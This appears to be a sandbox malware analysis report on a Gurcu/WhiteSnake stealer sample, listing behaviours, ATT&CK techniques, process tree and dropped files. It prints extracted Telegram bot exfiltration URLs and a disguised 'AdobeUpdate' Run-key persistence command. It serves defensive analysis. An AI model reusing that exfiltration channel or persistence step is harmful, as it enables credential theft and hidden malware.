gurcu | b8735a6c2caa10ed5e886a60be7f2a1edb55e5d26d60b24d24af5613a8a0e474

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/12/2024, 06:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

data.exe
Size

5.6MB
MD5

d650ccbec4cef66b790c0adbd0c690ed
SHA1

7c5323641a28170edb3121d9ad15d7bf643d801d
SHA256

b8735a6c2caa10ed5e886a60be7f2a1edb55e5d26d60b24d24af5613a8a0e474
SHA512

332dc8e1b3952ac3b3fbcfdf1634eaf9720d6bd85e6a1f0baef0f095c97a98d288f301b774c4d041c45ea8ea5ed8e52e8d786a874b8d0ce41dd5dd25a961b535
SSDEEP

98304:6W1l27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:6jOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=2024893777

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	data.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	conhost.exe

Executes dropped EXE 1 IoCs

pid	Process
1908	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
3076	data.exe
1908	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdater\\conhost.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
22	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2316	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	conhost.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2988	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1592	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
3076	data.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe
1908	conhost.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3076	data.exe
Token: SeDebugPrivilege	2316	tasklist.exe
Token: SeDebugPrivilege	1908	conhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1908	conhost.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 2012	3076	data.exe	83
PID 3076 wrote to memory of 2012	3076	data.exe	83
PID 2012 wrote to memory of 3356	2012	cmd.exe	85
PID 2012 wrote to memory of 3356	2012	cmd.exe	85
PID 2012 wrote to memory of 2316	2012	cmd.exe	86
PID 2012 wrote to memory of 2316	2012	cmd.exe	86
PID 2012 wrote to memory of 3680	2012	cmd.exe	87
PID 2012 wrote to memory of 3680	2012	cmd.exe	87
PID 2012 wrote to memory of 2988	2012	cmd.exe	88
PID 2012 wrote to memory of 2988	2012	cmd.exe	88
PID 2012 wrote to memory of 1908	2012	cmd.exe	89
PID 2012 wrote to memory of 1908	2012	cmd.exe	89
PID 1908 wrote to memory of 1312	1908	conhost.exe	90
PID 1908 wrote to memory of 1312	1908	conhost.exe	90
PID 1312 wrote to memory of 1592	1312	cmd.exe	92
PID 1312 wrote to memory of 1592	1312	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\data.exe
"C:\Users\Admin\AppData\Local\Temp\data.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA865.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA865.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3356
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 3076"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2316
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:3680
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2988
- - C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe
    "C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1908
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AdobeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1312
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AdobeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA865.tmp.bat

Filesize
269B

MD5
af89de9825f6d81c18d73d38a72bb231

SHA1
d39b6fa0d6922e4f57a329968fe8fa6017489789

SHA256
c95e32e14c84a184d960226450a979ee34b1683cbd977c22fd0817f405c5aafa

SHA512
4d240596f4fe6d8242946d0ae2422a17b36d6dd40642d173829c4a4b393dfa44ce7896128ff104dca05baaf1ee637b5cbdee777c49740f93a6733c82c2393cc4

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe

Filesize
5.6MB

MD5
d650ccbec4cef66b790c0adbd0c690ed

SHA1
7c5323641a28170edb3121d9ad15d7bf643d801d

SHA256
b8735a6c2caa10ed5e886a60be7f2a1edb55e5d26d60b24d24af5613a8a0e474

SHA512
332dc8e1b3952ac3b3fbcfdf1634eaf9720d6bd85e6a1f0baef0f095c97a98d288f301b774c4d041c45ea8ea5ed8e52e8d786a874b8d0ce41dd5dd25a961b535

Download Submit
C:\Users\Admin\Desktop\AddInstall.docx

Filesize
17KB

MD5
96a4f69dcd11797a9373f01bb9cbc093

SHA1
75f46ea7345ebb349801860e9f60d19d6aa51c20

SHA256
c968315a4bb2443b72d3ab314402926a21b7013a3db5b1b46b8f2f806b18fd95

SHA512
93fc13ad23d808500c77731518b37ed0858c108585fad3effc8e206d8c24b1f4ae36d82709879fa819127875554489f37dd73c274374a0fdb7d89b4d83a1a315

Download Submit
C:\Users\Admin\Desktop\CheckpointAdd.ico

Filesize
243KB

MD5
ee679e2e9c5092e52fb714da861fd933

SHA1
6cf9e449836a7d704079b7091f35bcc84bcf89c0

SHA256
a692328e547ee5c682e1f843e8434e4a681ab3b18a60de76ccd35d76087787dd

SHA512
f4ce5aacb23deeeba63c9471d7ace2e3285b64bfff9430b600e7f598560a65971d02bced866719562174fbb8edacd78c84fa96197c0765d63ca9818299b5ccf3

Download Submit
C:\Users\Admin\Desktop\ConfirmStop.xlsx

Filesize
10KB

MD5
d181cc1a4df3b03d3ec8cd1ea2e230fc

SHA1
f334f78096263e550ae281230e3e4aedb04b3b2c

SHA256
6546943246edfee255abf3aa15f038285b424186ee2f32cac3f8e350398b19f6

SHA512
5cb81dae8ee4234155af0a17629035b2220fc3c19022db0b4c89412d6f05271bf598e6a2e1b5630d5a0fcd1733dbeecc4e24a11734ad6be7d3606ce5a8ee40ff

Download Submit
C:\Users\Admin\Desktop\ConvertGet.edrwx

Filesize
190KB

MD5
35e717e5f8e1331d1470f798e6385a17

SHA1
d4398b0095cf8ddaf649a24c094e13edd8a465ac

SHA256
736cb42edf3187ce10ab1602ab2c583d8d08361a3c3a83a9c6aca48d66a7fb39

SHA512
c25d6eafa05cdf4a3f1a05ec15be001d84b7a87dc5563d0c0349039996d207e3de675305d7cd42207091968da4f63f7cb65d9276cf429c30e89d229e02789780

Download Submit
C:\Users\Admin\Desktop\ConvertToCompare.asx

Filesize
137KB

MD5
d7febecc75ecb5e17ebeecfc9eb8f2d4

SHA1
0f2282917198a041316ce6d03b37ebe135472664

SHA256
5512771ac21b196216cd13e9e12be562549dac0d625092cd10ade523841f95c3

SHA512
fa7d4f70715adfe718f2202730ab21c9d858059f21125bbdcb79a90dc653071799307452e6f565bb71dcc5a5e196388efb854919c3ab27ced720bc8c9c5bb143

Download Submit
C:\Users\Admin\Desktop\DismountUnblock.lnk

Filesize
285KB

MD5
a290fb6f175b0378c9cbbc172f4c3a8e

SHA1
f279ba725b13271c1d3144cbd0d92bc89dca8a39

SHA256
4231500f9e3a1760db583090dd76473aaef89bee3b9169712ef945876611fabb

SHA512
8cba72cd1ac52493b243b073bdd3918a00ec1ebf8fba62533642d141cb9cd382f1819596ede4a61069f9886894f898b185d640a60793f8e115de689f91d4d7ba

Download Submit
C:\Users\Admin\Desktop\ExitConnect.mpeg2

Filesize
126KB

MD5
4ab55c22f79ff10232a37c872438f467

SHA1
436053cba6019a105398068b97ac80df6633da7d

SHA256
aa9b36c782c7066dc83328fc4e1e4fe4840fed808489269511949f843ce058e8

SHA512
54c41f71db9b5ec2afbebac3253552030aae06f6d03101e4e6b6108ab463ef05f58788599b3360e8e8c0b6371b204e39cdd36873e575de0b43be96117efd0c7b

Download Submit
C:\Users\Admin\Desktop\ExitStep.xlsx

Filesize
10KB

MD5
1ba944e0e112763b10bb445c11c9e18b

SHA1
f777e787ae21e272e0d997a392a51be41fb2dcc3

SHA256
992e7d2aa2284d469158cb5d0a330aecc252455169f49f2023a07cdbf247ffdb

SHA512
14cd8066ba240af53145e062110ac7c92683dfd1f4b87ddae55b72a8ffe9d9e7437b6c7339214b48fac746aa7dc7aa1e4d9cc0a53462ae27cfbdc1c50aae2e09

Download Submit
C:\Users\Admin\Desktop\ExpandConvertFrom.xlsx

Filesize
10KB

MD5
2f8d9f863022b290d519481f95b50e5c

SHA1
5881dde68bd288ba7740bd126e00a3646ebd6bdd

SHA256
6caf91f831ee00702d3f1902d12a755e992c543d3bce098e3fcac3458feb0689

SHA512
55b49a4a0cf2ecb8f498c434ac163e4a623c4d3eefe40d93d62a6524fc6ff3aa6d7b62268ffa0c505077fcd261fedddf4ebae5b51f04f42c632fe80fdda58add

Download Submit
C:\Users\Admin\Desktop\LimitResolve.TS

Filesize
232KB

MD5
c7948a8f3fc06e4aae42252b55abbfc7

SHA1
b1fb60229c10fd0e4872d3a65ef8e16b6af9ef40

SHA256
3e3a3eda544d412b079026c90b604321ac4a2a3119b062a7b70dce8dd4ca5978

SHA512
28c5b810e4c194aa816d7f053d4d2377cae785a32f316ffc82828451b175d4fb7751d12ab57a423bb44ca418678d85c7b528d25cb8756601552a684c20be0d19

Download Submit
C:\Users\Admin\Desktop\LockCompare.docx

Filesize
14KB

MD5
d4ae4d84a68cef8850e558a075669411

SHA1
51b19dd4dc0beee75e5c40f2336ef4eb50df30c3

SHA256
21f50ad39c87842b95231e675beb7ba941b085b4e8529ddf951d0da07e517cf7

SHA512
3267a2eed3884bc6d1a611df9e686984954f05ed358cb2c86bb4ac48272653446c6c41835477c4852f490f40857ffe6cf49566d09b9c15cb36c07694fb524dd0

Download Submit
C:\Users\Admin\Desktop\MeasureUnlock.xlsx

Filesize
13KB

MD5
d1a280f0d5fdb77b73d9d66e2511cb5e

SHA1
ba23400ba7ff47043fb7210bf70eac565b48822b

SHA256
eef502124edd166a13036f9c322bd19a3f43ae5ed843acceca9cb385c79d6e22

SHA512
6661b23c568584f8b6a94b071fb33975ed48edcb9b830f33ca70d1914f760dd89359d95ec5a3ef88bcf58bdf9aad22f10f6549bd660d5159f5b168515811cf93

Download Submit
C:\Users\Admin\Desktop\MountSet.dwfx

Filesize
158KB

MD5
babca1eef25a09f6e017b9b6b8a05fe8

SHA1
8b8e1a5cc1e86a4ee859b334357890e0880cd2e4

SHA256
430ed7e600841f197fa87feadb41fad6fc419a3822a29c4131c6930718079485

SHA512
551f787be0d8fd6dcfc07e9985529eb08e2ec68520466d7f0ca5ec64ac20c5b2ae23c6b7fa22bfe630fe513b14be2961660bfcb66613f0519cb3cc452f8a7d19

Download Submit
C:\Users\Admin\Desktop\OpenWait.wps

Filesize
200KB

MD5
d29b8fa33fcd8ae149e516998cf15bfb

SHA1
f6b61d2df0d16faa28d47a1f4a3920dcbe84bd08

SHA256
334a71d32be737836cea70d016bbbd098b22fd6e8d020da4542363dace882e87

SHA512
af65105d4af0e59f95aec4d67dde90232ff1bf5a40c7f8f7495f10f3ecad121a2242ce6fed5168c367beb6f91d46c330eadf75fc61b451cc6b9d6c40eefa9abe

Download Submit
C:\Users\Admin\Desktop\OptimizeMove.zip

Filesize
306KB

MD5
e501145379a56a037c0da120cf0ebd2a

SHA1
edfcc9b06c36cf607edb146239d4b93b906b5092

SHA256
80e98e900971abe01d783be7d277ca0c2d7aad9e29443b702033d333cd97942a

SHA512
decb337371b04569d6a2202080f4a4cc7106315511613904692c675cff28d1842076356b762a9047c109f8226a15791ef55e5ec85c5650f8a63140dc0182b70b

Download Submit
C:\Users\Admin\Desktop\PingDismount.midi

Filesize
211KB

MD5
0c8daed22a3f6abaa1db5fc89a81266c

SHA1
aed77577ebd8ee22d2af4981bf397e4b7976c30d

SHA256
854e1f0a57974dae260a5c701c9f1d5ca369804bc53e6d2a407243a261158528

SHA512
1a1086ade6bde81ef53c7ff1b5cf8f7335d56a11ebd0c838686d56d92eff757e457be63de65c70ab692dd33114ef086e2de12564c3e808d39001b3db43809ebb

Download Submit
C:\Users\Admin\Desktop\ReadDismount.vb

Filesize
327KB

MD5
090c5c0225d0bad7825d9bdd1edce8dd

SHA1
65b793b4c8861b8795306d6ff0201a636ff8607f

SHA256
ebad7e060412eaff2dc634471ec4958bd569cbf9c5c2039b064f029336c7f166

SHA512
3d88b9218f02a8511923f4b436aac7d1174f38ef8334a92b93da1823de6f18f533d973b077220ecc1b725d0ff3cb65d61ab3fc2b32ed1f4e779ed99b5c1f23c5

Download Submit
C:\Users\Admin\Desktop\RemoveUse.DVR-MS

Filesize
222KB

MD5
22db2c61dd337028b9cb72b8293146c5

SHA1
ecd6327a520dcbfb6732cf4c9d4ed57bd102b9df

SHA256
7897debedb0572eab5efd6ec33b03676b8db33d621d8f7d3eb758641e81dde7e

SHA512
3c68b7046e04c872dbde3ba1b85f8bac3c00ffbfcd013984d2014fe4d5396ead6b3593a52567d0148a403abc5e61f951c5f1a2a704434a224aef454b2f6f5d2f

Download Submit
C:\Users\Admin\Desktop\ResolveInvoke.vsx

Filesize
253KB

MD5
abd888ff59b1ee152501ac914e90fca6

SHA1
88f644016070f1edfd5f98a15d1e2809429702e3

SHA256
51335acd05e9764c2b4abe763f598708df533b24d36924ae69224dc4f52d5111

SHA512
d11c3549a570f26af2ccfc77b5303173c2c51f6b6423935bb1627f8204b715dd36e70e174caa5b6ac8fbe8271e415d6bb14e76b42167f99e6fc26ea5b072fb10

Download Submit
C:\Users\Admin\Desktop\RestoreRead.fon

Filesize
169KB

MD5
f67cce436a982b87e980443dbad3b129

SHA1
c981eb809675803597e18e44f4eacb196fd0e025

SHA256
14d61477b836d7b28408e863e8046696d101f317de419bcb815a97f01dfdf022

SHA512
b58d5b737881c0ed133153a5d26e3298a5f26dc5b286b2ee178e30e297a7ede5634862ca9226814e0aaa1cace64e42cc65e3b98c04be409e5e626ef4945d62c1

Download Submit
C:\Users\Admin\Desktop\SaveResolve.xltm

Filesize
317KB

MD5
bd36f25606122af51d4baa3820e8498b

SHA1
23ac65e37b5883f481e3fd7487a7772937e194aa

SHA256
434aee9faf53bd9abaa37471fd1ecd07c3a0f34c97f6197fa5284f521de8d0cf

SHA512
3db5c1fcbf65d573243f85f0b9a493eb0cd88fa459cbda850750a4632b956df3d0486296793987758c5bfcdd29efa2be0c1eacdf0708518b43060ae2f66910cb

Download Submit
C:\Users\Admin\Desktop\SelectWatch.html

Filesize
148KB

MD5
c574bba1d40792b81f66ef08a59b1dc9

SHA1
9758eba07dba6d798ba8c3749fd96b2a21d4d6f9

SHA256
733f9fb74ff58e40e3d591a274bb0902485d63fb6223384cfc84c871f6211e72

SHA512
56b7656588a537ae7da98c21e36cf753bfb2f6fd12dd48075dbcb93ba530b8274a4a81eb2fa3e0236d8f25f471fa13d63f4b9eae456c2fe5329498c292c25c9a

Download Submit
C:\Users\Admin\Desktop\SkipConvert.ico

Filesize
264KB

MD5
65ae319be6881dc2159d120c88123a03

SHA1
49662af83b5bd1faf361c162805f943b4d94f925

SHA256
baecb20d086f248604275576e88f10e67b49c6fc47e2aca4885f73a0e5df982b

SHA512
ecc6152585d8c5f60603e527814496de8d59fb9574a6e3f99f22f398fb6c6e85f207c635ce6d665b133870c5c11c546bcfd03b1843765b056b5ca5f9b9690464

Download Submit
C:\Users\Admin\Desktop\SuspendOptimize.wdp

Filesize
455KB

MD5
035c1c1583ec37a3a1fca14621394ecb

SHA1
d8ae1a84b50ca058eeb6389ff183d7f3025567bb

SHA256
44399cca78753bad5af8e2c388509b1d4e1da4dffbff7fda73fb0f17ab76b961

SHA512
e2c53fc2dffe75b3d86f8e8a70f9cca62dbe152b651e3065f97f4a9e987bbfef64221b36d5fbf34771f3d36336f8b5c30fc84a2fe3f37050ab895b16e6ec7567

Download Submit
C:\Users\Admin\Desktop\SwitchDeny.xlsx

Filesize
9KB

MD5
11fe80065c20e47d7895622824bf47b9

SHA1
7b810c88574d7f39f07b875dae2646db53b82de6

SHA256
dc014f847f2d7f03650a659d724be285b165eaed2c4422d884c1fb32ec64f339

SHA512
94f5dd776aa4e504eb26969ae1871a1e7a25f9e64025a95e6d18de7a9707fb29f0eaf0a8abe2e30c37cc2aa5296c2407c5796b7632f3984320cf853c86ec87e0

Download Submit
C:\Users\Admin\Desktop\UndoWrite.m1v

Filesize
179KB

MD5
622c8970a455bb67339fd38181c9490f

SHA1
ab811a5d18d0c7f856b523cdbdb95d057039eb21

SHA256
965bb4968ec19ef2a031b4db2947ead2d826f8512c94983d31c614a2e42383fa

SHA512
fbc532f1b255dd0f4b6d6f719ed354aa63f9b455f2ec7d91faea77da174433888f82c70c7e6c9a1d48ef4554dfbf3ed0b4cc52772b669b7abdd5a24df5f45863

Download Submit
C:\Users\Admin\Desktop\UninstallFind.cmd

Filesize
116KB

MD5
73232b9b43b1884704ed835e0d55b28a

SHA1
165eacbfbdde38ead412cfd31aebb05782363269

SHA256
a2cd7b94a68d48918a16c9f138b13c722dfeac1385d067fe30036648c51f5dc7

SHA512
18264dcb731f2c7bd44004fe51328ed889c722f77aa8e97c4bcd6c5fd58cc56e19713d7d6726c3ba3c7148f187e797a0b4daceae40a8bf25044700fa683bde39

Download Submit
C:\Users\Admin\Desktop\UnpublishUnblock.mpeg2

Filesize
275KB

MD5
d6256889aa843c1daac38c0992aba015

SHA1
137ae429ecaac90d8bae8a2f13729f6fdfd7ea5b

SHA256
4f446411202928b5372c178ea53bcf9c97767f93d077a30b83d7cb4e32b08a93

SHA512
af4f56059f36db69275f7ca7c9d16ac5fb08ce45394598022dccf9a9e6073fa968fc54b548aaa0e94e9fd6184083a5d381ff4fc5f79a501f176151beac49f501

Download Submit
C:\Users\Admin\Desktop\UnregisterBlock.otf

Filesize
296KB

MD5
d4fe9823e4f765c6dd10a723f4bb1ed5

SHA1
528e7038e41579b2f182f394272f410bdb0d0fca

SHA256
e1c6d8c0a7fda3cbe24c41dfe285286b92213b4dd141bfdbd28a303f5dcfcd57

SHA512
1684647d4bb05482efdc9e3e8f4fcee364339549baed92d9d185fa5d2c8d3cc1885f560c22690b4b652419cfaa39f3f9d001a926f8f3a64e5d5c0ba09fa84386

Download Submit
C:\Users\Public\Desktop\Acrobat Reader DC.lnk

Filesize
2KB

MD5
10745b20e7e9355b0eee19e7da2ecc5e

SHA1
20d67e6edc29bd1751c597982c09cc501aed5f17

SHA256
d7a6d1cff01c08a690af05a360e5c89cf13e4ae9702fa3d5682ff1cfde51a76d

SHA512
72e26dc1f0a844424110cfc509fbe3e710f4fcc75e257a0676ef021c23b81672c82d302d36e699406a5a2342fcf5aeffc34e3f7c2b3f9cfb1b48ec450d5d37ec

Download Submit
C:\Users\Public\Desktop\Firefox.lnk

Filesize
1000B

MD5
8aae4c0a55153f0eaba4c84a7358dbd5

SHA1
95f72b5704be50b15e2fa51c551066c918b680fc

SHA256
67af6b489216de8b721cadf6af6827797038e12842657f169761ea1006fcd050

SHA512
69ec275c473ec65757356eb630c146b1ffe6deb7a3893232286b2837fc1e3403564e520e231ed2c4690cdcbdf82a15d9d511d66e888d053be65f9331363d678b

Download Submit
C:\Users\Public\Desktop\Google Chrome.lnk

Filesize
2KB

MD5
35372101637f4dc7c7a1be117e22bd93

SHA1
3bd377e1f6dc7b0353f444300ca4d50f55e1ef49

SHA256
6e66ef5d3046b5c665d70d503fc2ef46df0915391d923083af2b8ab707f1ee01

SHA512
4b032fa969a0d3b3ffe0692c56c3ccd21a21557b26e013a2501d8d00b491a84e92cabf952dd34b2bcd8343a79623a5e8f07d54f74098cc6fcdb548549db0efb5

Download Submit
C:\Users\Public\Desktop\Microsoft Edge.lnk

Filesize
2KB

MD5
d675712966536298792caeba0091cf53

SHA1
1dc5e294425f38c018bbdeef6c37ed5418fa0cab

SHA256
9abbfe2aa01eaa2647ddc86fc74ebab6a5309526cf5feb0c25f82c206b226085

SHA512
802c963a35ec8d93dda55bbbd5c8a696e987fe34a1a259b3e0b5d2bfdd051dc63605f9ca8a4fceebe9f7b0f2a403b64af99d34c0f90808c9c4252f38e1fc3dac

Download Submit
C:\Users\Public\Desktop\VLC media player.lnk

Filesize
923B

MD5
d9150fdfffd31af3f2ff3a7dcc000d10

SHA1
02c717b778b01e47b793670833ed716698f3e416

SHA256
658afd099f71932ba212b98b136a399f9fcabfb6d3221a03b5010a3da053759f

SHA512
9e255b21a4d64f6afc45764767207593688ce73c064a19d9e89351db439f9da914923039cdff0c4fe5a97cd6cf7f8b3a3a8cfcf892f244df917408b5bec1ba27

Download Submit
memory/1908-23-0x0000024BFC4F0000-0x0000024BFC540000-memory.dmp

Filesize
320KB

Download
memory/1908-22-0x0000024BFC3F0000-0x0000024BFC4A2000-memory.dmp

Filesize
712KB

Download
memory/1908-24-0x0000024BFC540000-0x0000024BFC562000-memory.dmp

Filesize
136KB

Download
memory/1908-26-0x0000024BFC5B0000-0x0000024BFC5EA000-memory.dmp

Filesize
232KB

Download
memory/1908-47-0x0000024BFC610000-0x0000024BFC622000-memory.dmp

Filesize
72KB

Download
memory/1908-20-0x0000024BFC380000-0x0000024BFC3EA000-memory.dmp

Filesize
424KB

Download
memory/1908-27-0x0000024BFC570000-0x0000024BFC596000-memory.dmp

Filesize
152KB

Download
memory/1908-28-0x0000024BFD240000-0x0000024BFD56E000-memory.dmp

Filesize
3.2MB

Download
memory/3076-0-0x00007FF814CB3000-0x00007FF814CB5000-memory.dmp

Filesize
8KB

Download
memory/3076-1-0x0000020444880000-0x0000020444E22000-memory.dmp

Filesize
5.6MB

Download
memory/3076-6-0x000002045F350000-0x000002045F3C6000-memory.dmp

Filesize
472KB

Download
memory/3076-7-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download
memory/3076-8-0x0000020446A10000-0x0000020446A2E000-memory.dmp

Filesize
120KB

Download
memory/3076-9-0x0000020446A40000-0x0000020446A4A000-memory.dmp

Filesize
40KB

Download
memory/3076-13-0x00007FF814CB0000-0x00007FF815771000-memory.dmp

Filesize
10.8MB

Download